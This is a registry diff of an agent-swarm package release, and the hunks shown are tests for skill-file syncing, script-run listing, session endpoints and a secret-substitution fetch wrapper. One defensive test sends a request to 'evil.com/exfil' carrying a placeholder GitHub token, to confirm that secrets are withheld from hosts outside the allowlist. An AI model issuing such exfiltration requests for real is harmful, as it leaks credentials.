@desplega.ai/agent-swarm 1.92.2 → 1.93.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (76) hide show
  1. package/openapi.json +63 -3
  2. package/package.json +5 -5
  3. package/src/be/db.ts +91 -6
  4. package/src/be/memory/boot-reembed.ts +0 -1
  5. package/src/be/memory/providers/sqlite-store.ts +42 -25
  6. package/src/be/memory/raters/llm-client.ts +12 -5
  7. package/src/be/memory/types.ts +3 -0
  8. package/src/be/migrations/088_script_runs_list_indexes.sql +10 -0
  9. package/src/be/migrations/089_harness_variant.sql +2 -0
  10. package/src/be/modelsdev-cache.json +1222 -986
  11. package/src/be/seed-pricing.ts +1 -0
  12. package/src/be/seed-scripts/catalog/boot-triage.inline.ts +221 -0
  13. package/src/be/seed-scripts/catalog/catalog-report.inline.ts +457 -0
  14. package/src/be/seed-scripts/catalog/compound-insights.inline.ts +863 -0
  15. package/src/be/seed-scripts/catalog/ops-catalog-audit.inline.ts +506 -0
  16. package/src/be/seed-scripts/index.ts +5 -5
  17. package/src/be/skill-sync.ts +28 -179
  18. package/src/commands/runner.ts +124 -7
  19. package/src/http/api-keys.ts +42 -0
  20. package/src/http/mcp-bridge.ts +1 -1
  21. package/src/http/memory.ts +23 -24
  22. package/src/http/tasks.ts +10 -6
  23. package/src/providers/claude-adapter.ts +33 -1
  24. package/src/providers/claude-managed-adapter.ts +3 -0
  25. package/src/providers/claude-managed-models.ts +7 -0
  26. package/src/providers/codex-adapter.ts +8 -1
  27. package/src/providers/codex-models.ts +1 -0
  28. package/src/providers/codex-oauth/auth-json.ts +1 -0
  29. package/src/providers/harness-version.ts +7 -0
  30. package/src/providers/opencode-adapter.ts +11 -4
  31. package/src/providers/pi-mono-adapter.ts +12 -2
  32. package/src/providers/types.ts +2 -0
  33. package/src/scripts-runtime/egress-secrets.ts +83 -0
  34. package/src/scripts-runtime/eval-harness.ts +4 -0
  35. package/src/scripts-runtime/executors/types.ts +7 -0
  36. package/src/scripts-runtime/loader.ts +2 -0
  37. package/src/server-user.ts +2 -2
  38. package/src/slack/channel-join.ts +41 -0
  39. package/src/tests/additive-buffer.test.ts +0 -1
  40. package/src/tests/api-key-tracking.test.ts +113 -0
  41. package/src/tests/approval-requests.test.ts +0 -6
  42. package/src/tests/claude-managed-setup.test.ts +0 -4
  43. package/src/tests/codex-pool.test.ts +2 -6
  44. package/src/tests/http-api-integration.test.ts +4 -6
  45. package/src/tests/memory-edges.test.ts +0 -2
  46. package/src/tests/memory-rate-endpoint.test.ts +0 -2
  47. package/src/tests/memory-rater-e2e.test.ts +0 -2
  48. package/src/tests/memory-store.test.ts +19 -1
  49. package/src/tests/memory.test.ts +51 -0
  50. package/src/tests/model-control.test.ts +1 -1
  51. package/src/tests/reload-config.test.ts +33 -17
  52. package/src/tests/runner-skills-refresh.test.ts +216 -46
  53. package/src/tests/script-runs-http.test.ts +7 -1
  54. package/src/tests/scripts-runtime-secret-egress.test.ts +129 -0
  55. package/src/tests/seed-scripts.test.ts +13 -1
  56. package/src/tests/session-attach.test.ts +6 -6
  57. package/src/tests/skill-fs-writer.test.ts +250 -0
  58. package/src/tests/slack-attachments-block.test.ts +0 -1
  59. package/src/tests/slack-blocks.test.ts +0 -1
  60. package/src/tests/slack-channel-join.test.ts +80 -0
  61. package/src/tests/slack-identity-resolution.test.ts +0 -1
  62. package/src/tests/structured-output.test.ts +0 -2
  63. package/src/tests/use-dismissible-card.test.ts +0 -4
  64. package/src/tools/schedules/create-schedule.ts +2 -2
  65. package/src/tools/schedules/update-schedule.ts +1 -1
  66. package/src/tools/send-task.ts +2 -2
  67. package/src/tools/slack-post.ts +18 -15
  68. package/src/tools/slack-read.ts +9 -11
  69. package/src/tools/slack-reply.ts +18 -15
  70. package/src/tools/slack-start-thread.ts +17 -14
  71. package/src/tools/task-action.ts +2 -2
  72. package/src/types.ts +11 -0
  73. package/src/utils/context-window.ts +3 -0
  74. package/src/utils/credentials.ts +22 -2
  75. package/src/utils/skill-fs-writer.ts +220 -0
  76. package/src/utils/skills-refresh.ts +123 -40
@@ -1,34 +1,68 @@
1
1
  /**
2
2
  * Coverage for the worker-side `refreshSkillsIfChanged()` helper. The helper
3
3
  * is exercised against a Bun.serve() stub that mimics the signature + list
4
- * + sync-filesystem endpoints. Cases lock down its contract: cheap probe on
5
- * no-change, full refresh on hash drift, inactive/disabled filtering,
6
- * transient 5xx swallowed.
4
+ * endpoints. Cases lock down its contract: cheap probe on no-change, full
5
+ * refresh on hash drift, inactive/disabled filtering, transient 5xx swallowed,
6
+ * local FS write (not POST to /api/skills/sync-filesystem), and hash-caching
7
+ * only on successful local write.
7
8
  */
8
9
  import { afterAll, beforeAll, describe, expect, test } from "bun:test";
10
+ import { existsSync, mkdirSync, readFileSync, rmSync, writeFileSync } from "node:fs";
11
+ import { tmpdir } from "node:os";
12
+ import { join } from "node:path";
9
13
  import { refreshSkillsIfChanged, type SkillsRefreshContext } from "../utils/skills-refresh";
10
14
 
11
- // ── Bun.serve() stub backing fake signature/list/sync endpoints ──────────────
15
+ // ── Bun.serve() stub backing fake signature/list endpoints ───────────────────
16
+
17
+ type SkillStub = {
18
+ id: string;
19
+ name: string;
20
+ description: string;
21
+ content: string | null;
22
+ isComplex: boolean;
23
+ isActive: boolean;
24
+ isEnabled: boolean;
25
+ };
12
26
 
13
27
  type StubState = {
14
28
  signatureHash: string;
15
29
  signatureStatus: number;
16
- syncStatus: number;
30
+ listStatus: number;
17
31
  skillsBody: {
18
- skills: { name: string; description: string; isActive: boolean; isEnabled: boolean }[];
32
+ skills: SkillStub[];
19
33
  signature: string;
20
34
  };
21
35
  calls: { signature: number; list: number; sync: number };
36
+ skillFilesStatus: number;
22
37
  };
23
38
 
39
+ const FAKE_HOME = join(tmpdir(), `runner-refresh-test-${process.pid}`);
40
+
24
41
  const state: StubState = {
25
42
  signatureHash: "hash-v1",
26
43
  signatureStatus: 200,
27
- syncStatus: 200,
44
+ listStatus: 200,
45
+ skillFilesStatus: 200,
28
46
  skillsBody: {
29
47
  skills: [
30
- { name: "alpha", description: "first skill", isActive: true, isEnabled: true },
31
- { name: "beta", description: "second skill", isActive: true, isEnabled: true },
48
+ {
49
+ id: "skill-alpha",
50
+ name: "alpha",
51
+ description: "first skill",
52
+ content: "---\nname: alpha\n---\n\nAlpha body.",
53
+ isComplex: false,
54
+ isActive: true,
55
+ isEnabled: true,
56
+ },
57
+ {
58
+ id: "skill-beta",
59
+ name: "beta",
60
+ description: "second skill",
61
+ content: "---\nname: beta\n---\n\nBeta body.",
62
+ isComplex: false,
63
+ isActive: true,
64
+ isEnabled: true,
65
+ },
32
66
  ],
33
67
  signature: "hash-v1",
34
68
  },
@@ -40,6 +74,8 @@ let baseUrl = "";
40
74
 
41
75
  describe("refreshSkillsIfChanged", () => {
42
76
  beforeAll(() => {
77
+ mkdirSync(FAKE_HOME, { recursive: true });
78
+
43
79
  server = Bun.serve({
44
80
  port: 0,
45
81
  fetch(req) {
@@ -57,18 +93,23 @@ describe("refreshSkillsIfChanged", () => {
57
93
  }
58
94
  if (url.pathname.match(/\/api\/agents\/[^/]+\/skills$/)) {
59
95
  state.calls.list++;
96
+ if (state.listStatus !== 200) {
97
+ return new Response("err", { status: state.listStatus });
98
+ }
60
99
  return Response.json({
61
100
  skills: state.skillsBody.skills,
62
101
  total: state.skillsBody.skills.length,
63
102
  signature: state.skillsBody.signature,
64
103
  });
65
104
  }
105
+ // Track that the old sync-filesystem endpoint is NOT called
66
106
  if (url.pathname === "/api/skills/sync-filesystem") {
67
107
  state.calls.sync++;
68
- if (state.syncStatus !== 200) {
69
- return new Response("sync err", { status: state.syncStatus });
70
- }
71
- return Response.json({ synced: 2, removed: 0, errors: [] });
108
+ return Response.json({ synced: 0, removed: 0, errors: [] });
109
+ }
110
+ // Complex skill: file manifest
111
+ if (url.pathname.match(/\/api\/skills\/[^/]+\/files$/) && state.skillFilesStatus === 200) {
112
+ return Response.json({ files: [], total: 0 });
72
113
  }
73
114
  return new Response("not found", { status: 404 });
74
115
  },
@@ -78,6 +119,7 @@ describe("refreshSkillsIfChanged", () => {
78
119
 
79
120
  afterAll(() => {
80
121
  server?.stop(true);
122
+ rmSync(FAKE_HOME, { recursive: true, force: true });
81
123
  });
82
124
 
83
125
  function makeCtx(): SkillsRefreshContext {
@@ -90,13 +132,22 @@ describe("refreshSkillsIfChanged", () => {
90
132
  };
91
133
  }
92
134
 
93
- test("first call populates summary and updates the cached hash", async () => {
135
+ // Thin helper to pass homeOverride through to refreshSkillsIfChanged
136
+ async function refreshWithHome(
137
+ ctx: SkillsRefreshContext,
138
+ lastHashRef: { current: string | null },
139
+ home: string,
140
+ ) {
141
+ return refreshSkillsIfChanged(ctx, lastHashRef, home);
142
+ }
143
+
144
+ test("first call writes SKILL.md to local HOME and updates cached hash", async () => {
94
145
  state.calls = { signature: 0, list: 0, sync: 0 };
95
146
  state.signatureHash = "hash-v1";
96
147
  state.skillsBody.signature = "hash-v1";
97
148
 
98
149
  const lastHash = { current: null as string | null };
99
- const result = await refreshSkillsIfChanged(makeCtx(), lastHash);
150
+ const result = await refreshWithHome(makeCtx(), lastHash, FAKE_HOME);
100
151
 
101
152
  expect(result.changed).toBe(true);
102
153
  expect(result.summary).toEqual([
@@ -104,14 +155,24 @@ describe("refreshSkillsIfChanged", () => {
104
155
  { name: "beta", description: "second skill" },
105
156
  ]);
106
157
  expect(lastHash.current).toBe("hash-v1");
107
- expect(state.calls).toEqual({ signature: 1, list: 1, sync: 1 });
158
+
159
+ // SKILL.md files must be written on the local worker disk
160
+ const alphaFile = join(FAKE_HOME, ".claude", "skills", "alpha", "SKILL.md");
161
+ const betaFile = join(FAKE_HOME, ".claude", "skills", "beta", "SKILL.md");
162
+ expect(existsSync(alphaFile)).toBe(true);
163
+ expect(readFileSync(alphaFile, "utf-8")).toContain("Alpha body.");
164
+ expect(existsSync(betaFile)).toBe(true);
165
+
166
+ // Must NOT have called /api/skills/sync-filesystem
167
+ expect(state.calls.sync).toBe(0);
168
+ expect(state.calls).toEqual({ signature: 1, list: 1, sync: 0 });
108
169
  });
109
170
 
110
- test("subsequent call with unchanged hash skips list + sync", async () => {
171
+ test("subsequent call with unchanged hash skips list + write", async () => {
111
172
  state.calls = { signature: 0, list: 0, sync: 0 };
112
173
  const lastHash = { current: "hash-v1" };
113
174
 
114
- const result = await refreshSkillsIfChanged(makeCtx(), lastHash);
175
+ const result = await refreshWithHome(makeCtx(), lastHash, FAKE_HOME);
115
176
 
116
177
  expect(result.changed).toBe(false);
117
178
  expect(result.summary).toBeUndefined();
@@ -119,82 +180,191 @@ describe("refreshSkillsIfChanged", () => {
119
180
  expect(state.calls).toEqual({ signature: 1, list: 0, sync: 0 });
120
181
  });
121
182
 
122
- test("hash drift refetches list and updates cached hash to the list's snapshot", async () => {
183
+ test("hash drift refetches list, writes new skill, updates cached hash", async () => {
123
184
  state.calls = { signature: 0, list: 0, sync: 0 };
124
185
  state.signatureHash = "hash-v2";
125
186
  state.skillsBody.signature = "hash-v2";
126
187
  state.skillsBody.skills = [
127
- { name: "alpha", description: "first skill", isActive: true, isEnabled: true },
128
- { name: "beta", description: "second skill", isActive: true, isEnabled: true },
129
- { name: "gamma", description: "third skill", isActive: true, isEnabled: true },
188
+ {
189
+ id: "skill-alpha",
190
+ name: "alpha",
191
+ description: "first skill",
192
+ content: "---\nname: alpha\n---\n\nAlpha updated.",
193
+ isComplex: false,
194
+ isActive: true,
195
+ isEnabled: true,
196
+ },
197
+ {
198
+ id: "skill-beta",
199
+ name: "beta",
200
+ description: "second skill",
201
+ content: "---\nname: beta\n---\n\nBeta body.",
202
+ isComplex: false,
203
+ isActive: true,
204
+ isEnabled: true,
205
+ },
206
+ {
207
+ id: "skill-gamma",
208
+ name: "gamma",
209
+ description: "third skill",
210
+ content: "---\nname: gamma\n---\n\nGamma body.",
211
+ isComplex: false,
212
+ isActive: true,
213
+ isEnabled: true,
214
+ },
130
215
  ];
131
216
 
132
217
  const lastHash = { current: "hash-v1" };
133
- const result = await refreshSkillsIfChanged(makeCtx(), lastHash);
218
+ const result = await refreshWithHome(makeCtx(), lastHash, FAKE_HOME);
134
219
 
135
220
  expect(result.changed).toBe(true);
136
221
  expect(result.summary).toHaveLength(3);
137
222
  expect(lastHash.current).toBe("hash-v2");
138
- expect(state.calls).toEqual({ signature: 1, list: 1, sync: 1 });
223
+
224
+ const gammaFile = join(FAKE_HOME, ".claude", "skills", "gamma", "SKILL.md");
225
+ expect(existsSync(gammaFile)).toBe(true);
226
+ expect(readFileSync(gammaFile, "utf-8")).toContain("Gamma body.");
227
+ expect(state.calls.sync).toBe(0); // never POSTed
139
228
  });
140
229
 
141
- test("filters out inactive or disabled skills from the summary", async () => {
230
+ test("filters out inactive or disabled skills from summary and does not write them", async () => {
142
231
  state.calls = { signature: 0, list: 0, sync: 0 };
143
232
  state.signatureHash = "hash-v3";
144
233
  state.skillsBody.signature = "hash-v3";
145
234
  state.skillsBody.skills = [
146
- { name: "active", description: "kept", isActive: true, isEnabled: true },
147
- { name: "disabled", description: "dropped", isActive: true, isEnabled: false },
148
- { name: "inactive", description: "dropped", isActive: false, isEnabled: true },
235
+ {
236
+ id: "skill-active",
237
+ name: "active-skill",
238
+ description: "kept",
239
+ content: "# Active",
240
+ isComplex: false,
241
+ isActive: true,
242
+ isEnabled: true,
243
+ },
244
+ {
245
+ id: "skill-disabled",
246
+ name: "disabled-skill",
247
+ description: "dropped",
248
+ content: "# Disabled",
249
+ isComplex: false,
250
+ isActive: true,
251
+ isEnabled: false,
252
+ },
253
+ {
254
+ id: "skill-inactive",
255
+ name: "inactive-skill",
256
+ description: "dropped",
257
+ content: "# Inactive",
258
+ isComplex: false,
259
+ isActive: false,
260
+ isEnabled: true,
261
+ },
149
262
  ];
150
263
 
151
264
  const lastHash = { current: "hash-v2" };
152
- const result = await refreshSkillsIfChanged(makeCtx(), lastHash);
265
+ const result = await refreshWithHome(makeCtx(), lastHash, FAKE_HOME);
153
266
 
154
267
  expect(result.changed).toBe(true);
155
- expect(result.summary).toEqual([{ name: "active", description: "kept" }]);
268
+ expect(result.summary).toEqual([{ name: "active-skill", description: "kept" }]);
269
+
270
+ const disabledFile = join(FAKE_HOME, ".claude", "skills", "disabled-skill", "SKILL.md");
271
+ const inactiveFile = join(FAKE_HOME, ".claude", "skills", "inactive-skill", "SKILL.md");
272
+ expect(existsSync(disabledFile)).toBe(false);
273
+ expect(existsSync(inactiveFile)).toBe(false);
156
274
  });
157
275
 
158
- test("transient 5xx on signature endpoint returns changed:false without touching list/sync", async () => {
276
+ test("transient 5xx on signature endpoint returns changed:false without touching list/write", async () => {
159
277
  state.calls = { signature: 0, list: 0, sync: 0 };
160
278
  state.signatureStatus = 503;
161
279
 
162
280
  const lastHash = { current: "hash-v3" };
163
- const result = await refreshSkillsIfChanged(makeCtx(), lastHash);
281
+ const result = await refreshWithHome(makeCtx(), lastHash, FAKE_HOME);
164
282
 
165
283
  expect(result.changed).toBe(false);
166
284
  expect(lastHash.current).toBe("hash-v3");
167
285
  expect(state.calls).toEqual({ signature: 1, list: 0, sync: 0 });
168
286
 
169
- state.signatureStatus = 200; // restore for any later tests
287
+ state.signatureStatus = 200; // restore
170
288
  });
171
289
 
172
- test("sync-filesystem failure leaves cached hash unchanged so the next poll retries", async () => {
173
- // Server-side state: a new hash + skill set, sync endpoint failing.
290
+ test("local write failure leaves cached hash unchanged so the next poll retries", async () => {
291
+ // Use a read-only HOME path to force a write failure
292
+ const readOnlyHome = join(FAKE_HOME, "readonly-home");
293
+ mkdirSync(readOnlyHome, { recursive: true });
294
+
174
295
  state.signatureHash = "hash-v4";
175
296
  state.skillsBody.signature = "hash-v4";
176
297
  state.skillsBody.skills = [
177
- { name: "alpha", description: "first", isActive: true, isEnabled: true },
298
+ {
299
+ id: "skill-alpha",
300
+ name: "alpha",
301
+ description: "first",
302
+ content: "# Alpha",
303
+ isComplex: false,
304
+ isActive: true,
305
+ isEnabled: true,
306
+ },
178
307
  ];
179
- state.syncStatus = 503;
180
308
  state.calls = { signature: 0, list: 0, sync: 0 };
181
309
 
310
+ // Make the claude skills dir a FILE (not a dir) so mkdir fails on write
311
+ const blockerPath = join(readOnlyHome, ".claude");
312
+ mkdirSync(join(readOnlyHome), { recursive: true });
313
+ // Write a file at .claude to block mkdirSync from creating it as a dir
314
+ writeFileSync(blockerPath, "blocker");
315
+
182
316
  const lastHash = { current: "hash-prev" };
183
- const first = await refreshSkillsIfChanged(makeCtx(), lastHash);
317
+ const first = await refreshWithHome(makeCtx(), lastHash, readOnlyHome);
184
318
 
185
- // Summary still returns (the list call succeeded), but the cached
186
- // hash must NOT advance — otherwise the next signature probe would
187
- // short-circuit and the FS would stay stale forever.
319
+ // Summary still returns (the list call succeeded), but cached hash must
320
+ // NOT advance — FS write failed
188
321
  expect(first.changed).toBe(true);
189
322
  expect(first.summary).toEqual([{ name: "alpha", description: "first" }]);
190
323
  expect(lastHash.current).toBe("hash-prev");
191
- expect(state.calls).toEqual({ signature: 1, list: 1, sync: 1 });
324
+ expect(state.calls.sync).toBe(0); // still never calls sync-filesystem
192
325
 
193
- // Sync recovers next poll retries because cached hash still differs.
194
- state.syncStatus = 200;
195
- const second = await refreshSkillsIfChanged(makeCtx(), lastHash);
326
+ // Clean up the blocker
327
+ rmSync(readOnlyHome, { recursive: true, force: true });
328
+
329
+ // Normal write in a clean home recovers — next poll retries because hash differs
330
+ state.calls = { signature: 0, list: 0, sync: 0 };
331
+ const cleanHome = join(FAKE_HOME, "clean-home");
332
+ mkdirSync(cleanHome, { recursive: true });
333
+ const second = await refreshWithHome(makeCtx(), lastHash, cleanHome);
196
334
  expect(second.changed).toBe(true);
197
335
  expect(lastHash.current).toBe("hash-v4");
198
- expect(state.calls).toEqual({ signature: 2, list: 2, sync: 2 });
336
+ expect(state.calls.sync).toBe(0);
337
+ rmSync(cleanHome, { recursive: true, force: true });
338
+ });
339
+
340
+ test("list fetch failure after signature drift leaves pre-existing skills on disk and does not advance hash", async () => {
341
+ // Arrange: fresh isolated home with a pre-existing swarm-managed skill
342
+ const isolatedHome = join(FAKE_HOME, "list-fail-home");
343
+ const skillDir = join(isolatedHome, ".claude", "skills", "pre-existing");
344
+ mkdirSync(skillDir, { recursive: true });
345
+ writeFileSync(join(skillDir, ".swarm-managed"), "");
346
+ writeFileSync(join(skillDir, "SKILL.md"), "# Pre-existing skill");
347
+
348
+ // Simulate signature drift so the list endpoint is called
349
+ state.signatureHash = "hash-new";
350
+ state.listStatus = 503; // List fetch fails
351
+ state.calls = { signature: 0, list: 0, sync: 0 };
352
+
353
+ const lastHash = { current: "hash-old" };
354
+ const result = await refreshWithHome(makeCtx(), lastHash, isolatedHome);
355
+
356
+ // Must bail out without touching disk
357
+ expect(result.changed).toBe(false);
358
+ // Cached hash must NOT advance — disk is still in "old" state
359
+ expect(lastHash.current).toBe("hash-old");
360
+ // List endpoint was called (signature differed) but the failure must bail early
361
+ expect(state.calls.list).toBe(1);
362
+ // Pre-existing managed skill file must survive
363
+ expect(existsSync(join(skillDir, "SKILL.md"))).toBe(true);
364
+ expect(readFileSync(join(skillDir, "SKILL.md"), "utf-8")).toBe("# Pre-existing skill");
365
+
366
+ // Restore
367
+ state.listStatus = 200;
368
+ rmSync(isolatedHome, { recursive: true, force: true });
199
369
  });
200
370
  });
@@ -141,9 +141,15 @@ describe("/api/script-runs HTTP", () => {
141
141
 
142
142
  const listed = await dispatch("/api/script-runs", { agentId });
143
143
  expect(listed.status).toBe(200);
144
- const listBody = (await listed.json()) as { runs: Array<{ id: string }>; total: number };
144
+ const listBody = (await listed.json()) as {
145
+ runs: Array<{ id: string; source?: string; args?: unknown; output?: unknown }>;
146
+ total: number;
147
+ };
145
148
  expect(listBody.total).toBe(1);
146
149
  expect(listBody.runs[0]?.id).toBe(body.id);
150
+ expect(listBody.runs[0]?.source).toBeUndefined();
151
+ expect(listBody.runs[0]?.args).toBeUndefined();
152
+ expect(listBody.runs[0]?.output).toBeUndefined();
147
153
  });
148
154
 
149
155
  test("returns the existing run for an idempotency key", async () => {
@@ -1,4 +1,8 @@
1
1
  import { afterEach, beforeEach, describe, expect, test } from "bun:test";
2
+ import {
3
+ buildEgressSecrets,
4
+ patchFetchWithEgressSubstitution,
5
+ } from "../scripts-runtime/egress-secrets";
2
6
  import { runScript } from "../scripts-runtime/loader";
3
7
  import { refreshSecretScrubberCache } from "../utils/secret-scrubber";
4
8
 
@@ -42,3 +46,128 @@ describe("runtime secret egress", () => {
42
46
  expect(output.result).toEqual({ wrapped: "<redacted>" });
43
47
  });
44
48
  });
49
+
50
+ describe("egress-substitution", () => {
51
+ describe("buildEgressSecrets", () => {
52
+ test("includes GITHUB_TOKEN when set in env", () => {
53
+ process.env.GITHUB_TOKEN = "ghp_test1234567890abcdef";
54
+ const secrets = buildEgressSecrets();
55
+ expect(secrets).toEqual([
56
+ {
57
+ placeholder: "[REDACTED:GITHUB_TOKEN]",
58
+ hosts: ["api.github.com"],
59
+ value: "ghp_test1234567890abcdef",
60
+ },
61
+ ]);
62
+ });
63
+
64
+ test("returns empty array when GITHUB_TOKEN not set", () => {
65
+ delete process.env.GITHUB_TOKEN;
66
+ const secrets = buildEgressSecrets();
67
+ expect(secrets).toEqual([]);
68
+ });
69
+ });
70
+
71
+ describe("patchFetchWithEgressSubstitution", () => {
72
+ let originalFetch: typeof globalThis.fetch;
73
+
74
+ beforeEach(() => {
75
+ originalFetch = globalThis.fetch;
76
+ });
77
+
78
+ afterEach(() => {
79
+ globalThis.fetch = originalFetch;
80
+ });
81
+
82
+ test("substitutes placeholder in Authorization header for allowlisted host", async () => {
83
+ let capturedHeaders: Headers | undefined;
84
+ globalThis.fetch = async (_input: any, init?: any) => {
85
+ capturedHeaders = new Headers(init?.headers);
86
+ return new Response(JSON.stringify({ ok: true }), { status: 200 });
87
+ };
88
+
89
+ patchFetchWithEgressSubstitution([
90
+ {
91
+ placeholder: "[REDACTED:GITHUB_TOKEN]",
92
+ hosts: ["api.github.com"],
93
+ value: "ghp_real_secret_value_123",
94
+ },
95
+ ]);
96
+
97
+ await globalThis.fetch("https://api.github.com/repos/test/test", {
98
+ headers: { Authorization: "Bearer [REDACTED:GITHUB_TOKEN]" },
99
+ });
100
+
101
+ expect(capturedHeaders?.get("authorization")).toBe("Bearer ghp_real_secret_value_123");
102
+ });
103
+
104
+ test("does NOT substitute for non-allowlisted host", async () => {
105
+ let capturedHeaders: Headers | undefined;
106
+ globalThis.fetch = async (_input: any, init?: any) => {
107
+ capturedHeaders = new Headers(init?.headers);
108
+ return new Response(JSON.stringify({ ok: true }), { status: 200 });
109
+ };
110
+
111
+ patchFetchWithEgressSubstitution([
112
+ {
113
+ placeholder: "[REDACTED:GITHUB_TOKEN]",
114
+ hosts: ["api.github.com"],
115
+ value: "ghp_real_secret_value_123",
116
+ },
117
+ ]);
118
+
119
+ await globalThis.fetch("https://evil.com/exfil", {
120
+ headers: { Authorization: "Bearer [REDACTED:GITHUB_TOKEN]" },
121
+ });
122
+
123
+ expect(capturedHeaders?.get("authorization")).toBe("Bearer [REDACTED:GITHUB_TOKEN]");
124
+ });
125
+
126
+ test("passes through requests with no redacted placeholders", async () => {
127
+ let callCount = 0;
128
+ globalThis.fetch = async (_input: any, _init?: any) => {
129
+ callCount++;
130
+ return new Response("ok", { status: 200 });
131
+ };
132
+
133
+ patchFetchWithEgressSubstitution([
134
+ {
135
+ placeholder: "[REDACTED:GITHUB_TOKEN]",
136
+ hosts: ["api.github.com"],
137
+ value: "ghp_real_secret_value_123",
138
+ },
139
+ ]);
140
+
141
+ await globalThis.fetch("https://api.github.com/repos/test/test", {
142
+ headers: { Accept: "application/json" },
143
+ });
144
+
145
+ expect(callCount).toBe(1);
146
+ });
147
+
148
+ test("does not substitute in request body", async () => {
149
+ let capturedBody: string | undefined;
150
+ globalThis.fetch = async (_input: any, init?: any) => {
151
+ capturedBody = init?.body;
152
+ return new Response("ok", { status: 200 });
153
+ };
154
+
155
+ patchFetchWithEgressSubstitution([
156
+ {
157
+ placeholder: "[REDACTED:GITHUB_TOKEN]",
158
+ hosts: ["api.github.com"],
159
+ value: "ghp_real_secret_value_123",
160
+ },
161
+ ]);
162
+
163
+ await globalThis.fetch("https://api.github.com/gists", {
164
+ method: "POST",
165
+ headers: { Authorization: "Bearer [REDACTED:GITHUB_TOKEN]" },
166
+ body: JSON.stringify({ content: "[REDACTED:GITHUB_TOKEN]" }),
167
+ });
168
+
169
+ expect(capturedBody).toContain("[REDACTED:GITHUB_TOKEN]");
170
+ expect(capturedBody).not.toContain("ghp_real_secret_value_123");
171
+ });
172
+ });
173
+ });
@@ -53,7 +53,7 @@ afterAll(async () => {
53
53
  });
54
54
 
55
55
  describe("seed-scripts catalog", () => {
56
- test("manifest holds 17 unique, well-described scripts", () => {
56
+ test("manifest holds 18 unique, well-described scripts", () => {
57
57
  expect(SEED_SCRIPTS.length).toBe(18);
58
58
  const names = SEED_SCRIPTS.map((s) => s.name);
59
59
  expect(new Set(names).size).toBe(names.length);
@@ -66,6 +66,18 @@ describe("seed-scripts catalog", () => {
66
66
  }
67
67
  });
68
68
 
69
+ test("inline catalog files stay in sync with their runtime files", async () => {
70
+ const catalogDir = join(import.meta.dir, "../be/seed-scripts/catalog");
71
+ const inlineFiles = ["boot-triage", "catalog-report", "compound-insights", "ops-catalog-audit"];
72
+
73
+ for (const name of inlineFiles) {
74
+ const runtimeSource = await Bun.file(join(catalogDir, `${name}.ts`)).text();
75
+ const inlineSource = await Bun.file(join(catalogDir, `${name}.inline.ts`)).text();
76
+
77
+ expect(inlineSource, `${name}.inline.ts drifted from ${name}.ts`).toBe(runtimeSource);
78
+ }
79
+ });
80
+
69
81
  test("every catalog script passes the import allowlist and the script typecheck", () => {
70
82
  const failures: string[] = [];
71
83
  for (const s of SEED_SCRIPTS) {
@@ -29,13 +29,13 @@ async function handleRequest(req: {
29
29
  }): Promise<{ status: number; body: unknown }> {
30
30
  const pathSegments = getPathSegments(req.url || "");
31
31
 
32
- // PUT /api/tasks/:id/claude-session - Update Claude session ID
32
+ // PUT /api/tasks/:id/session - Update Claude session ID
33
33
  if (
34
34
  req.method === "PUT" &&
35
35
  pathSegments[0] === "api" &&
36
36
  pathSegments[1] === "tasks" &&
37
37
  pathSegments[2] &&
38
- pathSegments[3] === "claude-session"
38
+ pathSegments[3] === "session"
39
39
  ) {
40
40
  const taskId = pathSegments[2];
41
41
  const reqBody = req.body ? JSON.parse(req.body) : {};
@@ -233,7 +233,7 @@ describe("Session Attachment", () => {
233
233
  });
234
234
  });
235
235
 
236
- describe("API Layer — PUT /api/tasks/:id/claude-session", () => {
236
+ describe("API Layer — PUT /api/tasks/:id/session", () => {
237
237
  test("should update claudeSessionId and return 200", async () => {
238
238
  const task = createTaskExtended("Task for API session update", {
239
239
  creatorAgentId: "lead-session-test",
@@ -241,7 +241,7 @@ describe("Session Attachment", () => {
241
241
  });
242
242
 
243
243
  const sessionId = "api-session-id-67890";
244
- const response = await fetch(`${baseUrl}/api/tasks/${task.id}/claude-session`, {
244
+ const response = await fetch(`${baseUrl}/api/tasks/${task.id}/session`, {
245
245
  method: "PUT",
246
246
  headers: { "Content-Type": "application/json" },
247
247
  body: JSON.stringify({ claudeSessionId: sessionId }),
@@ -253,7 +253,7 @@ describe("Session Attachment", () => {
253
253
  });
254
254
 
255
255
  test("should return 404 for invalid task", async () => {
256
- const response = await fetch(`${baseUrl}/api/tasks/non-existent-task/claude-session`, {
256
+ const response = await fetch(`${baseUrl}/api/tasks/non-existent-task/session`, {
257
257
  method: "PUT",
258
258
  headers: { "Content-Type": "application/json" },
259
259
  body: JSON.stringify({ claudeSessionId: "some-session" }),
@@ -267,7 +267,7 @@ describe("Session Attachment", () => {
267
267
  creatorAgentId: "lead-session-test",
268
268
  });
269
269
 
270
- const response = await fetch(`${baseUrl}/api/tasks/${task.id}/claude-session`, {
270
+ const response = await fetch(`${baseUrl}/api/tasks/${task.id}/session`, {
271
271
  method: "PUT",
272
272
  headers: { "Content-Type": "application/json" },
273
273
  body: JSON.stringify({}),